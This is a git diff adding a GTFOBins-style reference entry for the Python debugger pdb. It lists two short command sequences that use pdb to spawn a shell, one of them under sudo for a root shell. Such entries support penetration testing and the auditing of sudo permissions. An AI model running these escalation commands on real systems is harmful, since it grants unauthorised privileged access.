diff --git a/_gtfobins/pdb.md b/_gtfobins/pdb.md new file mode 100644 index 0000000..747bccf --- /dev/null +++ b/_gtfobins/pdb.md @@ -0,0 +1,15 @@ +--- +functions: + shell: + - code: | + TF=$(mktemp -d) + echo 'import os; os.system("/bin/sh")' > $TF/x + pdb $TF/x + cont + sudo: + - code: | + TF=$(mktemp -d) + echo 'import os; os.system("/bin/sh")' > $TF/x + sudo pdb $TF/x + cont +---